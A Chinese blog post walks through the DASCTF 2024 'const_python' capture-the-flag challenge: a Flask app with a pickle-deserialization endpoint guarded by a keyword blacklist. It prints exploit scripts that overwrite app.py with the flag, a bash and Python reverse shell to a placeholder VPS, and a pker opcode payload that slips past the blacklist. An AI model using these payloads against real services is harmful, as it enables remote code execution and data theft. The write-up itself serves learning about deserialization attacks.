2025-08-26-每日一题

[DASCTF 2024最后一战|寒夜破晓,冬至终章]const_python

学习pickle反序列化
url/src有源码

点击查看代码
import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
    def __init__(self, username, password, auth='ctfer'):
        self.username = username
        self.password = password
        self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
    return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
    if request.method == 'POST':

        username = request.form['username']
        password = request.form['password']


        if username == 'admin' :
            if password == admin.password:
                session['username'] = "admin"
                return "Welcome Admin"
            else:
                return "Invalid Credentials"
        else:
            session['username'] = username


    return '''
        <form method="post">
        <!-- /src may help you>
            Username: <input type="text" name="username"><br>
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    '''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    data = request.form['data']

    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    try:

        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"

        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
    username = session['username']
    if username != "admin":
        return jsonify({"message": 'You are not admin!'})
    return "Welcome Admin"


@app.route('/src')
def src():
    return  open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5000)

由于好像buu可能是出网有限制,用文件外带
payload

点击查看代码
import pickle
import subprocess
import base64
import requests
import re

# 执行后访问 /src 目录
class EvilObject:
    def __reduce__(self):
        # 使用 subprocess.run 执行 "dir" 命令
        return (subprocess.run, (["bash","-c","cat ../../../flag > app.py" ],),{"shell": True})

# 创建恶意对象
evil_object = EvilObject()

# 序列化恶意对象
pickled_data = pickle.dumps(evil_object)

# base64 编码序列化对象
pickled_data_base64 = base64.b64encode(pickled_data).decode('utf-8')

# 输出序列化后的 Base64 编码
print("Base64 Encoded Pickled Data:")
print(pickled_data_base64)

url = 'http://9039b319-14fe-4258-a484-b84db102cf2b.node5.buuoj.cn:81/ppicklee'
# 要发送的POST数据,通常是字典格式
data = {'data': pickled_data_base64}

# 发送POST请求
response = requests.post(url, data=data)

# 打印响应的状态码和内容
print('Status Code:', response.status_code)
print('Response Text:', response.text)

# 访问新的地址
new_url = 'http://9039b319-14fe-4258-a484-b84db102cf2b.node5.buuoj.cn:81/src'
new_response = requests.get(new_url)

# 打印新的地址的响应状态码和内容
print('New Status Code:', new_response.status_code)
print('New Response Text:')
print(new_response.text)
# 匹配并打印出响应中的 DASCTF{******} 这一段字符
match = re.search(r'DASCTF{.*}', new_response.text)
if match:
    print('Flag:', match.group(0))
else:
    print('No flag found in the response.')

图片

用VPS反弹(没弹出来)
提供脚本

点击查看代码
import os
import subprocess
import pickle
import base64


class RCE:
    def __reduce__(self):
        # 反弹Shell命令(替换为你自己的IP和端口)
        cmd = "bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'"
        # 或使用Python反弹Shell(兼容性更好):
        # cmd = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"your_ip\",your_port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"

        return os.system, (cmd,)

a = RCE()
b = pickle.dumps(a)
print(base64.b64encode(b))

得到一个字符串后再访问

点击查看代码
import requests

# 替换成你的Payload和实际目标URL
payload = b'字符串'
url = "http://7dee2e44-d79f-480b-a302-51f6c76e7159.node5.buuoj.cn:81/ppicklee"
payload_param = "data"

try:
    response = requests.post(
        url=url,
        data={payload_param: payload},
        timeout=5
    )
    print(f"状态码: {response.status_code}")
    print(f"响应内容: {response.text[:200]}")
except Exception as e:
    print(f"请求失败: {str(e)}")

图片
暂时没弹出去

思路是在/ppicklee目录触发pickle反序列化实现命令执行
用flag文件内容把app.py文件覆盖掉,直接破坏原来的文件,一个方法是"-c",这样是把flag文件内容附加到app.py文件下方

参考
https://xu17.top/2024/12/23/2024DASCTF/#Web
https://matriy330.github.io/c510533a/#const-python

下面是pker解法
看代码

点击查看代码
@app.route('/ppicklee', methods=['POST'])
def ppicklee():
    # 获取 pickle payload
    data = request.form['data']
 
    # 禁止使用 os 和 sys
    sys.modules['os'] = "not allowed"
    sys.modules['sys'] = "not allowed"
    
    try:
        pickle_data = base64.b64decode(data)
        # 不允许出现下列字符串
        for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
                 'compile', 'requests', 'exit',  'pickle',"class","mro","flask","sys","base","init","config","session"}:
            if i.encode() in pickle_data:
                return i+" waf !!!!!!!"
 
        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"

读这部分代码,发现可以使用 open, write:
payload:

点击查看代码
getattr = GLOBAL('builtins', 'getattr')  # 从内置函数中获取 getattr 这个内置函数
open = GLOBAL('builtins', 'open')        # 同样,我们获取到 open 这个内置函数
f = open('/flag')                        # 获取到 flag 的文件对象
read = getattr(f, 'read')                # 注意,这个地方的 read 是独属于 f 文件对象的 read,相当于 read = f.read
content = read()                         # 获取到 flag 的内容
src = open('./app.py', 'w')              # 获取到源代码的文件对象,这是我们唯一一个我们能拿到回显的地方了
write = getattr(src, 'write')            # 拿到源代码的 write 函数
write(content)                           # 写入
return                                   # 返回

我们再使用pker生成
python pker.py < payload.txt

得到

点击查看代码
b"cbuiltins\ngetattr\np0\n0cbuiltins\nopen\np1\n0g1\n(S'/flag'\ntRp2\n0g0\n(g2\nS'read'\ntRp3\n0g3\n(tRp4\n0g1\n(S'./app.py'\nS'w'\ntRp5\n0g0\n(g5\nS'write'\ntRp6\n0g6\n(g4\ntR."

然后再利用脚本转换为base64字符

点击查看代码
import base64

payload = b"cbuiltins\ngetattr\np0\n0cbuiltins\nopen\np1\n0g1\n(S'/flag'\ntRp2\n0g0\n(g2\nS'read'\ntRp3\n0g3\n(tRp4\n0g1\n(S'./app.py'\nS'w'\ntRp5\n0g0\n(g5\nS'write'\ntRp6\n0g6\n(g4\ntR."
encoded_payload = base64.urlsafe_b64encode(payload)
print(encoded_payload.decode('utf-8'))

得到
Y2J1aWx0aW5zCmdldGF0dHIKcDAKMGNidWlsdGlucwpvcGVuCnAxCjBnMQooUycvZmxhZycKdFJwMgowZzAKKGcyClMncmVhZCcKdFJwMwowZzMKKHRScDQKMGcxCihTJy4vYXBwLnB5JwpTJ3cnCnRScDUKMGcwCihnNQpTJ3dyaXRlJwp0UnA2CjBnNgooZzQKdFIu

图片
图片

最后在/ppicklee 中,POST输入data,然后访问 /src 即可拿到 flag 。

参考:
https://www.cnblogs.com/jeb-bem/articles/18852810/DASCTF-const-python
https://xz.aliyun.com/news/6608

posted @ 2025-08-26 14:20  xinghe123*  阅读(9)  评论(0)    收藏  举报